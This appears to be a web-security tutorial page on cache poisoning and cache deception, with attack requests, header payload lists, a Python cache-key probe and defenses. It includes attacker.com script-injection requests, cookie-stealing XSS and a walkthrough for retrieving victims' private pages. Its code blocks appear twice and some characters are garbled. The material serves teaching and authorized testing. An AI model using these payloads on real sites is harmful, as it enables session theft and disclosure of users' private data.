Exploitation A05

Web Cache Poisoning

Web cache poisoning exploits caching mechanisms to serve malicious content to users. By manipulating inputs that aren't part of the cache key, attackers can inject payloads that get cached and served to all subsequent visitors.

Warning

Cache poisoning affects all users who receive the cached response. Test carefully with unique cache busters and coordinate with site owners to clear poisoned entries. Always get explicit authorization before testing.

๐Ÿ“š Quick Navigation

๐ŸŽฏ Fundamentals

โšก Attack Techniques

๐Ÿ› ๏ธ Tools

๐Ÿงช Practice

Understanding Web Cache Poisoning

Web caches store responses to reduce server load and improve performance. Cache poisoning exploits the gap between what the cache considers "the same request" (cache key) and what actually affects the response.

Attack Flow

  1. Identify unkeyed input: Find a header/parameter that affects response but isn't in cache key
  2. Inject payload: Craft request with malicious value in unkeyed input
  3. Trigger caching: Ensure the poisoned response gets stored in cache
  4. Victim receives poison: Subsequent users get the cached malicious response
basic-poisoning.http
http
# Basic Web Cache Poisoning Attack

# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)

GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>

# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response
# Basic Web Cache Poisoning Attack

# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)

GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>

# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response

Cache Keys Explained

The cache key determines which requests are considered "the same" for caching purposes. Typically includes:

Usually Keyed โœ“

  • โ€ข Request method (GET, POST)
  • โ€ข Host header
  • โ€ข URL path
  • โ€ข Query string parameters
  • โ€ข Accept-Encoding (sometimes)

Often Unkeyed โœ—

  • โ€ข X-Forwarded-Host
  • โ€ข X-Forwarded-Scheme
  • โ€ข X-Original-URL
  • โ€ข Cookie (usually excluded)
  • โ€ข Origin header
  • โ€ข Request body (for GET)

Information

The Vary header indicates which request headers are included in the cache key. Check Vary: Accept-Encoding, Accept-Language to understand cache behavior.

Finding Unkeyed Inputs

unkeyed-headers.txt
http
# Common Unkeyed Headers for Cache Poisoning

# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off

# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin

# Port injection
X-Forwarded-Port: 443&lt;/script&gt;&lt;script&gt;alert(1)//

# Cache control manipulation
X-Forwarded-For: inject&lt;script&gt;
X-Real-IP: inject&lt;script&gt;

# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)
# Common Unkeyed Headers for Cache Poisoning

# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off

# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin

# Port injection
X-Forwarded-Port: 443&lt;/script&gt;&lt;script&gt;alert(1)//

# Cache control manipulation
X-Forwarded-For: inject&lt;script&gt;
X-Real-IP: inject&lt;script&gt;

# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)

Param Miner

Param Miner is a Burp Suite extension that automatically discovers unkeyed headers and parameters that could be used for cache poisoning.

param-miner-usage.txt
text
# Param Miner - Burp Extension for Cache Poisoning

# Install from BApp Store
Extensions โ†’ BApp Store โ†’ Param Miner โ†’ Install

# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions โ†’ Param Miner โ†’ Guess headers
3. Wait for results in Dashboard/Extensions output

# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target

# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)
# Param Miner - Burp Extension for Cache Poisoning

# Install from BApp Store
Extensions โ†’ BApp Store โ†’ Param Miner โ†’ Install

# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions โ†’ Param Miner โ†’ Guess headers
3. Wait for results in Dashboard/Extensions output

# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target

# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)

Cache Key Discovery Script

cache-key-discovery.py
python
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time

TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))

def random_value():
    return "".join(random.choices(string.ascii_lowercase, k=6))

def get_cache_headers(response):
    """Extract cache-related headers"""
    cache_headers = {}
    for header in ['cache-control', 'x-cache', 'cf-cache-status', 
                   'age', 'cache-status', 'x-cache-status']:
        if header in response.headers:
            cache_headers[header] = response.headers[header]
    return cache_headers

def test_header_keyed(header_name, url):
    """Check if a header is part of the cache key"""
    # First request with unique value
    value1 = random_value()
    headers1 = {header_name: value1}
    resp1 = requests.get(url, headers=headers1)
    
    # Wait for potential caching
    time.sleep(0.5)
    
    # Second request with different value - should get same response if unkeyed
    value2 = random_value()
    headers2 = {header_name: value2}
    resp2 = requests.get(url, headers=headers2)
    
    # If responses match and second is cached, header is unkeyed
    if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
        return False  # Unkeyed - potential poisoning vector
    return True  # Keyed - in cache key

def main():
    headers_to_test = [
        'X-Forwarded-Host',
        'X-Forwarded-Scheme', 
        'X-Forwarded-Proto',
        'X-Original-URL',
        'X-Rewrite-URL',
        'X-Forwarded-Prefix',
        'X-Host',
        'Origin',
        'X-Forwarded-For'
    ]
    
    # Add cache buster to avoid stale responses
    test_url = f"{TARGET}?cb={CACHE_BUSTER}"
    
    print(f"[*] Testing cache key composition for {TARGET}")
    print(f"[*] Cache buster: {CACHE_BUSTER}\n")
    
    for header in headers_to_test:
        is_keyed = test_header_keyed(header, test_url)
        status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
        icon = "[-]" if is_keyed else "[+]"
        print(f"{icon} {header}: {status}")

if __name__ == "__main__":
    main()
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time

TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))

def random_value():
    return "".join(random.choices(string.ascii_lowercase, k=6))

def get_cache_headers(response):
    """Extract cache-related headers"""
    cache_headers = {}
    for header in ['cache-control', 'x-cache', 'cf-cache-status', 
                   'age', 'cache-status', 'x-cache-status']:
        if header in response.headers:
            cache_headers[header] = response.headers[header]
    return cache_headers

def test_header_keyed(header_name, url):
    """Check if a header is part of the cache key"""
    # First request with unique value
    value1 = random_value()
    headers1 = {header_name: value1}
    resp1 = requests.get(url, headers=headers1)
    
    # Wait for potential caching
    time.sleep(0.5)
    
    # Second request with different value - should get same response if unkeyed
    value2 = random_value()
    headers2 = {header_name: value2}
    resp2 = requests.get(url, headers=headers2)
    
    # If responses match and second is cached, header is unkeyed
    if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
        return False  # Unkeyed - potential poisoning vector
    return True  # Keyed - in cache key

def main():
    headers_to_test = [
        'X-Forwarded-Host',
        'X-Forwarded-Scheme', 
        'X-Forwarded-Proto',
        'X-Original-URL',
        'X-Rewrite-URL',
        'X-Forwarded-Prefix',
        'X-Host',
        'Origin',
        'X-Forwarded-For'
    ]
    
    # Add cache buster to avoid stale responses
    test_url = f"{TARGET}?cb={CACHE_BUSTER}"
    
    print(f"[*] Testing cache key composition for {TARGET}")
    print(f"[*] Cache buster: {CACHE_BUSTER}\n")
    
    for header in headers_to_test:
        is_keyed = test_header_keyed(header, test_url)
        status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
        icon = "[-]" if is_keyed else "[+]"
        print(f"{icon} {header}: {status}")

if __name__ == "__main__":
    main()

Header Injection Attacks

header-injection.http
http
# Common Header Injection Scenarios

# 1. X-Forwarded-Host โ†’ Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

# Result: <script src="https://attacker.com/static/app.js">

# 2. X-Forwarded-Scheme โ†’ Force HTTP links in HTTPS page  
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http

# Result: All links become http:// enabling MITM

# 3. X-Forwarded-Prefix โ†’ Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin

# Result: Response thinks path is /admin/api/data

# 4. X-Original-URL โ†’ Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin

# Front-end caches /public, back-end serves /admin
# Common Header Injection Scenarios

# 1. X-Forwarded-Host โ†’ Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

# Result: <script src="https://attacker.com/static/app.js">

# 2. X-Forwarded-Scheme โ†’ Force HTTP links in HTTPS page  
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http

# Result: All links become http:// enabling MITM

# 3. X-Forwarded-Prefix โ†’ Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin

# Result: Response thinks path is /admin/api/data

# 4. X-Original-URL โ†’ Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin

# Front-end caches /public, back-end serves /admin

XSS via Cache Poisoning

xss-cache-poisoning.http
http
# XSS via Cache Poisoning

# Scenario: X-Forwarded-Host reflected in page and unkeyed

# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123

# Response shows:
# <link rel="canonical" href="https://test123/" />

# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="

# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />

# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0

# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires
# XSS via Cache Poisoning

# Scenario: X-Forwarded-Host reflected in page and unkeyed

# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123

# Response shows:
# <link rel="canonical" href="https://test123/" />

# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="

# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />

# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0

# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires

Tip

Cache poisoning XSS is essentially stored XSS stored in the cache rather than database. Impact is similar but cleanup requires cache purging rather than database update.

Web Cache Deception

Cache deception is the reverse of cache poisoning. Instead of poisoning a cached page, you trick the cache into storing sensitive pages that shouldn't be cached.

cache-deception.http
http
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses

# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path

# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session

# Response: User's private settings, not cached

# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com  
Cookie: session=victim_session

# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:

# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css

# Step 2: Cache stores victim's private page under that URL

# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com

# Response: Victim's cached private settings!

# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses

# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path

# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session

# Response: User's private settings, not cached

# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com  
Cookie: session=victim_session

# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:

# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css

# Step 2: Cache stores victim's private page under that URL

# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com

# Response: Victim's cached private settings!

# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css

Cache Poisoning vs Cache Deception

Cache Poisoning

  • โ€ข Attacker poisons the cached response
  • โ€ข Victims receive attacker's payload
  • โ€ข Exploits unkeyed inputs
  • โ€ข Result: XSS, redirect, etc.

Cache Deception

  • โ€ข Attacker tricks victim into caching their data
  • โ€ข Attacker retrieves victim's cached data
  • โ€ข Exploits path confusion
  • โ€ข Result: Information disclosure

Fat GET Attacks

fat-get.http
http
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it

GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=stealCookie

# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users

# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes โ†’ Fat GET cache poisoning possible
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it

GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=stealCookie

# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users

# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes โ†’ Fat GET cache poisoning possible

Practice Labs

Testing Checklist

๐Ÿ” Reconnaissance

  • โ˜ Identify caching (X-Cache, Age, CF-Cache-Status)
  • โ˜ Check Vary header for cache key composition
  • โ˜ Identify CDN/cache provider in use
  • โ˜ Find cacheable endpoints (static, public content)

โšก Poisoning Tests

  • โ˜ Test X-Forwarded-Host reflection
  • โ˜ Test X-Forwarded-Scheme
  • โ˜ Test X-Original-URL / X-Rewrite-URL
  • โ˜ Run Param Miner for hidden inputs
  • โ˜ Test Fat GET body parameter handling

๐ŸŽญ Deception Tests

  • โ˜ Test static extension confusion (.css, .js, .png)
  • โ˜ Test path delimiter confusion (;, %00, %23)
  • โ˜ Test path normalization issues
  • โ˜ Check if user-specific pages get cached

๐Ÿ“ Documentation

  • โ˜ Record exact poisoning payload
  • โ˜ Document cache TTL/duration
  • โ˜ Note affected user scope
  • โ˜ Include cache header evidence

๐Ÿ›ก๏ธ Remediation & Defense

Defensive Measures

Cache Configuration

  • โ€ข Include all security-relevant headers in the cache key (e.g., Host, Origin)
  • โ€ข Use Vary header to key on headers that influence response content
  • โ€ข Disable caching for dynamic/sensitive responses
  • โ€ข Set short TTLs on cacheable resources to limit poisoning window

Input Handling

  • โ€ข Sanitize or reject unkeyed inputs reflected in responses
  • โ€ข Strip or ignore unexpected/custom headers at the application layer
  • โ€ข Validate X-Forwarded-Host and similar headers against allowlists
  • โ€ข Never reflect unkeyed header values in HTML without encoding

CWE References: CWE-349 (Acceptance of Extraneous Untrusted Data), CWE-525 (Browser Caching of Sensitive Information)